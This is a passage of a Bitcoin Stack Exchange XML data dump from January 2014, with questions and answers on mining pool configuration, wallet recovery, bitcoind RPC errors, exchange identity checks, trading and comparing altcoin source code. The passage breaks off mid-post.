  <row Id="19729" PostTypeId="1" CreationDate="2014-01-02T19:40:46.540" Score="1" ViewCount="163" Body="&lt;p&gt;I just build up a mining pool using booth pushpool for getwork and stratum-mining-litcoin for stratum&lt;/p&gt;&#xA;&#xA;&lt;p&gt;we already finds block using getwork but nothing with miners using stratum.&#xA;So I check my shares tables in the database and notice that the hash submited by pushpool and stratum was not the same &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I be sur that the shares submitted by stratum are valid ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I look for some documentation in the &lt;a href=&quot;https://github.com/moopless/stratum-mining-litecoin&quot; rel=&quot;nofollow&quot;&gt;github repo of stratum-mining-litcoin&lt;/a&gt; but found nothing.&lt;/p&gt;&#xA;" OwnerUserId="11692" LastActivityDate="2014-01-02T19:40:46.540" Title="How do pushpool and stratum-minig-litcoin format the shares they send to the pool" Tags="|pushpool|stratum|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19730" PostTypeId="2" ParentId="19683" CreationDate="2014-01-02T20:02:01.280" Score="0" Body="&lt;p&gt;It's normal for the cpu usage to increase, the client has a lot of work to do when synchronizing and verifying the block chain. The temperature should increase some but not dramatically, so you may have a cooling problem with your hardware. See if the same thing happens with other cpu intensive applications. If so, this is a hardware problem and nothing to do with Bitcoin.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-01-02T20:02:01.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19731" PostTypeId="2" ParentId="10867" CreationDate="2014-01-02T20:25:02.243" Score="0" Body="&lt;p&gt;Try this &lt;a href=&quot;http://www.converterhub.com&quot; rel=&quot;nofollow&quot;&gt;currency converter&lt;/a&gt; site, they might have updated rates for BRL = BTC&lt;/p&gt;&#xA;" OwnerUserId="11694" LastActivityDate="2014-01-02T20:25:02.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19732" PostTypeId="1" CreationDate="2014-01-02T20:42:23.850" Score="0" ViewCount="115" Body="&lt;p&gt;As a first-timer I got a little confused and didn't verify the transaction. That was a couple of months ago and I don't know where the Bitcoin went. Is it possible that I could find the bitcoin after all this time or have I lost it and chalk it up to experience.&#xA;Thanks&lt;/p&gt;&#xA;" OwnerUserId="11696" LastActivityDate="2014-01-02T21:24:16.920" Title="Receiving bitcoin" Tags="|transactions|" AnswerCount="1" CommentCount="1" ClosedDate="2014-01-07T21:48:09.883" ContentLicense="CC BY-SA 3.0" />
  <row Id="19733" PostTypeId="2" ParentId="19732" CreationDate="2014-01-02T21:24:16.920" Score="1" Body="&lt;p&gt;As long as you have the wallet which contains the address that received the transaction everything is fine. All transactions are stored in the blockchain and cannot be undone. To verify that the address which received the money is yours you have a private key for this address which is stored in your wallet. So if you have the wallet which probably is stored in your bitcoin client you own this money.&lt;/p&gt;&#xA;" OwnerUserId="11411" LastActivityDate="2014-01-02T21:24:16.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19734" PostTypeId="1" CreationDate="2014-01-02T21:38:02.777" Score="1" ViewCount="284" Body="&lt;p&gt;I followed another question here and imported my address from Bitcoin-QT to Multibit.&#xA;The reason why I did so was because I had received some BTC but in Bitcoin-QT it was taking years to download the blockchain. So I simply took the private key and imported in Multibit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now even after Multibit imports it successfully, the BTC I had received to the address do not show up. I have confirmed from blockchain.info and other sources, the transacton does exist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ALSO, I have set correct date of the transaction in the import file during import.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please advise what's wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="11697" LastActivityDate="2015-01-16T14:17:08.327" Title="Issue after importing private key to MultiBit" Tags="|transactions|private-key|multibit|import|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19735" PostTypeId="1" AcceptedAnswerId="19737" CreationDate="2014-01-02T23:25:49.110" Score="1" ViewCount="38" Body="&lt;p&gt;Since these exchanges run 24/7, are the posted close prices (say if the chart shows 1 hour increments like on bitcoinwisdom.com) based on the last trade for that time frame?  Or are they averaged over that time frame?&lt;/p&gt;&#xA;" OwnerUserId="10502" LastActivityDate="2014-01-03T01:52:32.497" Title="Are Closed Prices just the last trade or are they averaged?" Tags="|exchange-rate|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19737" PostTypeId="2" ParentId="19735" CreationDate="2014-01-03T01:52:32.497" Score="1" Body="&lt;p&gt;They are the endpoints. You can easily see that because in a bar chart, the bars always align with either the top or the bottom of the previous bar. &lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2014-01-03T01:52:32.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19738" PostTypeId="2" ParentId="19724" CreationDate="2014-01-03T01:56:35.877" Score="3" Body="&lt;p&gt;Many exchanges don't have a fixed deposit address for each client. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means that when you want to make a deposit, it will give you an address and it will log that you are depositing to it. However, when they don't receive anything on the address, the address expires and might be reused for another client. &#xA;So when you use the address for mining, it's possible that the coins you get from the pool and are send to that address will never end up in your wallet. &lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2014-01-03T01:56:35.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19739" PostTypeId="2" ParentId="13081" CreationDate="2014-01-03T03:59:49.453" Score="5" Body="&lt;p&gt;The problem begins by the fact that bitcoid doesn't keep that kind of information for spent txs, which however serves the typical QT user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All you have to do to obtain a record for spent txs is:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;run ONCE ONLY bitcoind with arguments: &lt;strong&gt;-reindex=1 -txindex=1&lt;/strong&gt;, allow it quite some time to complete, add &lt;strong&gt;-debug -printtoconsole&lt;/strong&gt; if you want to see the re-indexing progress in real-time&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;add: &lt;strong&gt;txindex=1&lt;/strong&gt; to bitcoin.conf&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerDisplayName="user11221" LastEditorDisplayName="user11221" LastEditDate="2014-12-10T17:25:32.107" LastActivityDate="2014-12-10T17:25:32.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19740" PostTypeId="2" ParentId="19173" CreationDate="2014-01-03T04:02:14.780" Score="2" Body="&lt;p&gt;I used Coinbase.com to buy BTC with USD which cleared in 4 days.  Then I sent my BTC to MtGox which took about 30 min.  The only downside to Coinbase is that when you buy bitcoin with USD you lock in at that BTC price and can't touch it for 4 days, i.e. no opportunity for stop loss.  I was fortunate in that BTC went up in price while I was waiting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally I would have liked to send USD to coinbase, then 4 days later buy BTC if the technicals looked right along with a corresponding stop loss limit order.  USD to BTC is certainly less than ideal but once you've got BTC, very fun to trade.&lt;/p&gt;&#xA;" OwnerUserId="11705" LastEditorUserId="11705" LastEditDate="2014-01-03T04:08:25.633" LastActivityDate="2014-01-03T04:08:25.633" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19741" PostTypeId="1" CreationDate="2014-01-03T04:32:43.773" Score="2" ViewCount="511" Body="&lt;p&gt;I have a:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Wallet public/private key pair with X BTC&lt;/li&gt;&#xA;&lt;li&gt;Wallet address I want to sent Y BTC to&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;I'm developing an app in NodeJS and trying to initiate payments automatically. I'm very confused how I'm supposed to do this.&lt;/p&gt;&#xA;&lt;p&gt;From my research, it seems like I have to generate some &amp;quot;raw&amp;quot; transaction hash, then encrypt that again with my private key, then I'm supposed to broadcast that encrypted data.&lt;/p&gt;&#xA;&lt;p&gt;Is there some library/some simple API that can help me do this? I don't want to have to run a bitcoin server if I don't have to...&lt;/p&gt;&#xA;" OwnerUserId="11706" LastEditorUserId="5406" LastEditDate="2021-06-17T16:07:35.317" LastActivityDate="2021-06-17T16:07:35.317" Title="How can I automatically create and broadcast transactions using NodeJS?" Tags="|transactions|wallet|api|nodejs|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19742" PostTypeId="2" ParentId="16789" CreationDate="2014-01-03T04:44:02.273" Score="2" Body="&lt;p&gt;I use MtGox because of liquidity but also because of daily range. I usually exchange USD into BTC somewhere else, then send to MtGox to trade, then send somewhere else to convert back to USD.  If I were to cash in/out USD at MtGox it would take too long.  If I traded elsewhere I would not get as many BTC per trade/trend.  Sending BTC to/from MtGox usually happens in a reasonable amount of time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, on 18 Dec 2013, MtGox low to high range was 224.  On the same day Bitstamp had a range of 208 and Btc-e was 211.  And I've seen more extreme examples with Coinbase.com, Kraken, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A good multiday example is the Low on 6 Dec to the High on 9 Dec:&#xA;MtGox: 492&#xA;Btc-e: 416&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The increased range helps me believe that if I happen to get into a good trend that I will get the most BTC for my USD at MtGox.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use my technical indicators to buy the pullbacks and sell at profit targets.  After a few trades I've made more BTC with better liquidity than I would elsewhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The trading tools at Mt.Gox are immature at best but liquidity and range are very enticing.&lt;/p&gt;&#xA;" OwnerUserId="11705" LastActivityDate="2014-01-03T04:44:02.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19744" PostTypeId="2" ParentId="19455" CreationDate="2014-01-03T05:36:28.010" Score="1" Body="&lt;p&gt;Would this be it? It seems to be what you're asking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://andarazoroflove.org/how-to-create-alt-coin-scrypt-clones-for-fun-and-profit-bitcoin-litecoin-secrets-exposed/&quot; rel=&quot;nofollow&quot;&gt;https://andarazoroflove.org/how-to-create-alt-coin-scrypt-clones-for-fun-and-profit-bitcoin-litecoin-secrets-exposed/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3824" LastActivityDate="2014-01-03T05:36:28.010" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19745" PostTypeId="1" CreationDate="2014-01-03T06:38:32.067" Score="1" ViewCount="129" Body="&lt;p&gt;If using Bitcoins in a real world brick and mortar store, a customer presents a paper with a QR code, merchant scans QR code and deducts purchase cost from Bitcoin total presented. How can merchant print change receipt in a timely manner, &amp;lt;10 , if you have to wait for another block creation? &lt;/p&gt;&#xA;" OwnerUserId="11711" LastActivityDate="2014-01-05T01:17:08.883" Title="Making change in a timely manner" Tags="|alternatives|latency|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19747" PostTypeId="1" CreationDate="2014-01-03T08:18:24.850" Score="5" ViewCount="3902" Body="&lt;p&gt;I did a web search before posting, but none of the similar topics shed any light on my problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the command I'm using to start bitcoind:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./bin/32/bitcoind -datadir=/somedir -daemon&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the contents of my bitcoin.conf, which is located in /somedir (of course):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;server=1&#xA;rpcuser=some_user&#xA;rpcpassword=some_password&#xA;rpcport=8332&#xA;rpctimeout=60&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here are the results of &lt;code&gt;netstat --ip -lpan | grep bitcoin&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tcp        0      0 127.0.0.1:8332          0.0.0.0:*               LISTEN      24203/bitcoind  &#xA;tcp        0      0 0.0.0.0:8333            0.0.0.0:*               LISTEN      24203/bitcoind&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I attempt to send a commend to the bitcoind using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./bin/32/bitcoind -datadir=/somedir getinfo&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Result&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;error: couldn't connect to server&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm probably missing something simple and obvious, but what?&lt;/p&gt;&#xA;" OwnerUserId="11714" LastActivityDate="2015-04-09T13:26:56.410" Title="error: couldn't connect to server" Tags="|bitcoind|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19748" PostTypeId="2" ParentId="12726" CreationDate="2014-01-03T08:18:27.817" Score="3" Body="&lt;p&gt;Brian from Coinbase here.  Sorry you experienced delays!  There have been some issues in the past that we are working to improve.  Coinbase sends a high volume of bitcoin transactions (often in parallel across many machines), and as a result we sometimes encounters issues that are uncommon elsewhere.  In this case, I believe the root of the issue was around spending coins where the inputs were not in a block yet.  We broadcast a large number of transactions, and sometimes other nodes receive them out of order (the transaction that spends the change could arrive before the transaction that generated the change).  The official client, bitcoind, had an issue (unclear whether it was a bug, or intended) where a transaction in the orphan pool that got connected up (it's input transaction finally arrived) did not subsequently get relayed to the rest of the network like a regular transaction.  We've been chatting with Gavin about this to see what solutions could make it into a near term release.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An issue like this could cause it to not be relayed to most/many miners, which is why it would take a long time to make it into a block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a short term fix we manually push transactions to well connected nodes like blockchain.info to ensure they are well propagated.  Thanks for bearing with us as we continue improving things. Experiences like this are definitely not what we strive for.  Hope the explanation helps!&lt;/p&gt;&#xA;" OwnerUserId="540" LastEditorUserId="540" LastEditDate="2014-01-03T08:39:27.517" LastActivityDate="2014-01-03T08:39:27.517" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19749" PostTypeId="2" ParentId="19718" CreationDate="2014-01-03T08:30:13.857" Score="5" Body="&lt;p&gt;You probably should start from the source by yourself, look here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/network&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/network&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2,523 forks of bitcoin. Greatest bump ever. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should get source of 2 coins that you want to compare, and simply diff it. It is easiest way to understand what's the difference.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# git clone https://github.com/fastcoinproject/fastcoin.git &#xA;# git clone https://github.com/asiccoin/asiccoin.git&#xA;# diff -Hrin asiccoin fastcoin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;92,401&lt;/strong&gt; different stings. The more than 70% is a &lt;code&gt;.ts&lt;/code&gt; files from &lt;code&gt;/src/qt/locale/&lt;/code&gt;. Only names asiccoin and fastcoin are different (:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# rm -fr asiccoin/src/qt/locale&#xA;# rm -fr fastcoin/src/qt/locale&#xA;# diff -Hrin asiccoin fastcoin &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;16,955&lt;/strong&gt; different strings. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look, here you can get &lt;strong&gt;algo&lt;/strong&gt;:&#xA;&lt;a href=&quot;http://www.dustcoin.com/mining&quot; rel=&quot;nofollow&quot;&gt;http://www.dustcoin.com/mining&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Very good comparison list: &lt;a href=&quot;http://www.coinwarz.com/cryptocurrency&quot; rel=&quot;nofollow&quot;&gt;http://www.coinwarz.com/cryptocurrency&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The third one: &lt;a href=&quot;http://coinchoose.com/&quot; rel=&quot;nofollow&quot;&gt;http://coinchoose.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, check this &lt;a href=&quot;https://bitcointalk.org/index.php?topic=336447.msg3884343&quot; rel=&quot;nofollow&quot;&gt;bitcointalk thread:  Cryptsy Survival Guide&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, nowhere you can get full list. Forks are born every day, not only on github. There are 10-20 forks that I have meet, with hosting on google disk. 20-30 without sources. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit1:&lt;/strong&gt; At the end, read this &lt;a href=&quot;https://bitcointalk.org/index.php?topic=396761.0&quot; rel=&quot;nofollow&quot;&gt;thread&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit2:&lt;/strong&gt; Look what I've found &lt;a href=&quot;http://www.poolwarz.com&quot; rel=&quot;nofollow&quot;&gt;http://www.poolwarz.com&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11288" LastEditorUserId="11288" LastEditDate="2014-01-05T10:00:38.657" LastActivityDate="2014-01-05T10:00:38.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19750" PostTypeId="2" ParentId="18533" CreationDate="2014-01-03T08:56:24.303" Score="1" Body="&lt;p&gt;From a gox employee:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What does the process involve?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, we ask you to provide one piece of government issued photographic identification, which is usually either:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A driver's license,&#xA;A passport, or;&#xA;A military identification card (surprisingly, we have a large number of customers in the armed forces of various countries.)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;We then ask you provide some form of proof of residence document&lt;/strong&gt;, which is an official document issued within the last three months bearing both your name and full street address. For obvious reasons, we cannot accept addresses with PO Boxes. Usually, we receive one of the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A utility bill,&#xA;An internet bill,&#xA;A cell phone or mobile phone bill,&#xA;A tax return,&#xA;A residency certificate issued by your local government,&#xA;A voting registration form, or;&#xA;A medical insurance bill&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Whilst many of our users submit bank statements as their proof of residence, we unfortunately cannot accept bank statements from our customers. This is because it is relatively easy for fraudsters to open an account at a less reputable banking service which does not check the accuracy of a person's stated address. It is then possible to use this bank's statement as a seed to open accounts at increasingly trustworthy establishments without ever having provided proof of residence in the first place.&lt;/p&gt;&#xA;" OwnerUserId="10502" LastActivityDate="2014-01-03T08:56:24.303" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19751" PostTypeId="1" AcceptedAnswerId="19755" CreationDate="2014-01-03T09:37:13.047" Score="0" ViewCount="1516" Body="&lt;p&gt;I have repeated this process a few times, always with the same error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In one terminal,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;./bitcoind -testnet&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in another&lt;/p&gt;&#xA;&#xA;&lt;p&gt;./bitcoind -testnet getnewaddress&lt;/p&gt;&#xA;&#xA;&lt;p&gt;mgj4Y8AvckxborhQzqFAhppcGVGFExqJvB&lt;/p&gt;&#xA;&#xA;&lt;p&gt;./bitcoind -testnet dumpwallet /path/to/testnet3/wallet.dat&lt;/p&gt;&#xA;&#xA;&lt;p&gt;error: {&quot;code&quot;:-1,&quot;message&quot;:&quot;CDB() : can't open database file wallet.dat, error 22&quot;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;./bitcoind -testnet stop&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin server stopping&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the original terminal, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;libc++abi.dylib: terminate called throwing an exception&#xA;Abort trap: 6&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I type&lt;/p&gt;&#xA;&#xA;&lt;p&gt;./bitcoind -testnet &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Error: wallet.dat corrupt, salvage failed&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anybody have an idea what is going on? I updated my bitcoin to the latest on github. I also searched for the error 22 but didn't find anything. I'm guessing CDB means corrupted database. I also looked in debug.log, but I didn't see anything weird. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know it is the dumpwallet command that is breaking it, because when I omit it from this process, nothing breaks. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The same things happens on the mainnet, altho I have not tested it as much.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I using the dumpwallet command incorrectly?&lt;/p&gt;&#xA;" OwnerUserId="11720" LastActivityDate="2014-01-03T10:41:11.580" Title="dumpwallet always corrupts my wallet" Tags="|wallet|bitcoind|testnet|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19753" PostTypeId="1" CreationDate="2014-01-03T10:32:16.597" Score="0" ViewCount="479" Body="&lt;p&gt;Can anyone plz point out a way to derive the BlockHash from TxHash using API ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lets assume I am studying the following...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/rawtx/5602487e624ee14193f646e29a9ac203335bc962b30155b66d142ab15f79018c&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/rawtx/5602487e624ee14193f646e29a9ac203335bc962b30155b66d142ab15f79018c&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&quot;block_height&quot;:277586,&quot;time&quot;:1388338452,&quot;inputs&quot;:[{&quot;prev_out&quot;:{&quot;n&quot;:0,&quot;value&quot;:1683888660,&quot;addr&quot;:&quot;14RfKeVn9PrG4CLuyzJYUXiFdqyd7Amjp5&quot;,&quot;tx_index&quot;:102576735,&quot;type&quot;:0}}],&quot;vout_sz&quot;:2,&quot;relayed_by&quot;:&quot;178.194.214.181&quot;,&quot;hash&quot;:&quot;5602487e624ee14193f646e29a9ac203335bc962b30155b66d142ab15f79018c&quot;,&quot;vin_sz&quot;:1,&quot;tx_index&quot;:105080382,&quot;ver&quot;:1,&quot;out&quot;:[{&quot;n&quot;:0,&quot;value&quot;:1483888660,&quot;addr&quot;:&quot;1FxmczX5yUXn6GAZBCJy2Uc25NgzpQNEtM&quot;,&quot;tx_index&quot;:105080382,&quot;spent&quot;:false,&quot;type&quot;:0},{&quot;n&quot;:1,&quot;value&quot;:200000000,&quot;addr&quot;:&quot;1NbX8RDmNJ2J36LBTBgTU6bwcqdX7Udv2M&quot;,&quot;tx_index&quot;:105080382,&quot;spent&quot;:true,&quot;type&quot;:0}],&quot;size&quot;:225}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have &lt;strong&gt;&quot;block_height&quot;:277586&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, how do I find out the block_hash of this ?&lt;/p&gt;&#xA;" OwnerUserId="11722" LastActivityDate="2014-05-03T20:28:22.970" Title="TxHash to BlockHash using API" Tags="|transactions|api|block|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19755" PostTypeId="2" ParentId="19751" CreationDate="2014-01-03T10:41:11.580" Score="6" Body="&lt;p&gt;The path you pass to dumpwallet is the filename of the dump.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you pass the name of your wallet database itself (or any existing file, actually), it will get overwritten.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2014-01-03T10:41:11.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19756" PostTypeId="2" ParentId="18533" CreationDate="2014-01-03T11:50:53.927" Score="0" Body="&lt;p&gt;I don't think AML is unique to the US. Fundamentally, the answer is probably heavily correlated the ability of a government to enforce its jurisdictional laws upon individuals whether citizens or not.  &quot;US Persons&quot; are subject to US laws even though they may not be citizens. A US Person has an active green cards. Binding a form of identity (e.g., driver's license, passport) to a location of where you live will be imperative. Otherwise, laws can't be enforced unless you can be found.&lt;/p&gt;&#xA;" OwnerUserId="10377" LastActivityDate="2014-01-03T11:50:53.927" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19757" PostTypeId="2" ParentId="19579" CreationDate="2014-01-03T12:04:37.980" Score="0" Body="&lt;p&gt;The math associated with this question is simply wrong! Conceptually, it is very simple to apply the &lt;a href=&quot;http://en.wikipedia.org/wiki/Rule_of_72&quot; rel=&quot;nofollow&quot;&gt;rule of 72&lt;/a&gt; in reverse. By applying the rule of 72, known by most bankers,  knowledgeable investors, and knowledgeable consumers of loans, it indicates half of all Bitcoins will disappear after 144 years, assuming 0.5% are lost each year. (No PHD in mathematics is required, very simple math: 144 = 72/0.5)&lt;/p&gt;&#xA;" OwnerUserId="10377" LastActivityDate="2014-01-03T12:04:37.980" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19758" PostTypeId="2" ParentId="19747" CreationDate="2014-01-03T12:07:48.327" Score="4" Body="&lt;p&gt;This happens usually when your server isn't yet fully loaded, i.e. the executable/binary is started, but is still busy processing (I think loading the wallet and a vital part of the block chain necessary for most basic RPC commands, although I'm not sure). This could take, depending on your wallet size and processing speed, from a few seconds to several minutes in general.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that doesn't work please comment!&lt;/p&gt;&#xA;" OwnerUserId="7043" LastActivityDate="2014-01-03T12:07:48.327" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19760" PostTypeId="1" CreationDate="2014-01-03T13:43:42.760" Score="4" ViewCount="21239" Body="&lt;p&gt;If I purchase a card (or similar device) that claims to mine Bitcoins at 10 GH/s, will that device also work for other currencies?  That is, would the device also work on a multi-pool for litecoins, dogecoins, etc?&lt;/p&gt;&#xA;" OwnerUserId="11146" LastEditorUserId="2306" LastEditDate="2017-04-25T19:52:46.853" LastActivityDate="2018-01-26T03:00:39.783" Title="Will a bitcoin miner work for other currencies?" Tags="|mining-hardware|currencies|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19761" PostTypeId="2" ParentId="17311" CreationDate="2014-01-03T14:23:28.833" Score="1" Body="&lt;p&gt;I just ran into the same issue, although mine was a syntax error...Also you didn't specify what coin your mining. Different settings for different coins. Pushpool is responsible for inserting the share info into the SQL database. You need to add the following lines to your pushpool config in the database area:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        &quot;sharelog&quot; : true,&#xA;&#xA;        &quot;stmt.pwdb&quot; :&#xA;          &quot;SELECT password FROM pool_worker WHERE username = ?&quot;,&#xA;&#xA;        &quot;stmt.sharelog&quot; :&#xA;         &quot;INSERT INTO shares (rem_host, username, our_result, upstream_result, reason, solution) VALUES (?, ?, ?, ?, ?, ?)&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Sharelog must be true, not &quot;true&quot;(my syntax error that took 24 hours of hunting.) You need to add the &quot;stmt.sharelog&quot; entry and pushpool will insert the correct data. The MPOS or front end will pick it up instantly. The database table &quot;shares&quot; has 2 additional columns called difficulty and time. Don't worry about them. Difficulty has a default of 0 and time will insert the current timestamp as default. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for Stratum, the coin daemon must support getblocktemplate. I'm mining BBQ/BQC coin and it is not implemented yet. I am stuck using long poll and I'm getting alot of stales. Need to optimize for the coin your mining. It is working and I hope that pooler will release his fork of bbqcoind on github. He added getblocktemplate and it's working great at bbqpool.net. Happy mining!&lt;/p&gt;&#xA;" OwnerUserId="11728" LastActivityDate="2014-01-03T14:23:28.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19762" PostTypeId="1" CreationDate="2014-01-03T14:32:30.823" Score="1" ViewCount="919" Body="&lt;p&gt;My PC stopped working a while ago (&lt;a href=&quot;http://en.wikipedia.org/wiki/Blue_Screen_of_Death&quot; rel=&quot;nofollow&quot;&gt;BSoD&lt;/a&gt; on every restart). I bought an &lt;a href=&quot;http://en.wikipedia.org/wiki/Solid-state_drive&quot; rel=&quot;nofollow&quot;&gt;SSD&lt;/a&gt; and installed Windows 7 64-bit on it (same as I had on my HDD). I then attached the HDD back into my PC and intended to back up everything important before I formatted it. All my old files are still on the HDD, including &lt;a href=&quot;https://en.bitcoin.it/wiki/Bitcoin-Qt&quot; rel=&quot;nofollow&quot;&gt;Bitcoin-Qt&lt;/a&gt; and my &lt;code&gt;wallet.dat&lt;/code&gt;. Which is why my coins should also be there, right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I now opened my wallet, but I noticed it shows my balance is 0.00 BTC. It hasn't yet synchronized fully with the web (about 23,000 blocks left as I'm writing this), and shows it's not up to date. It also shows none 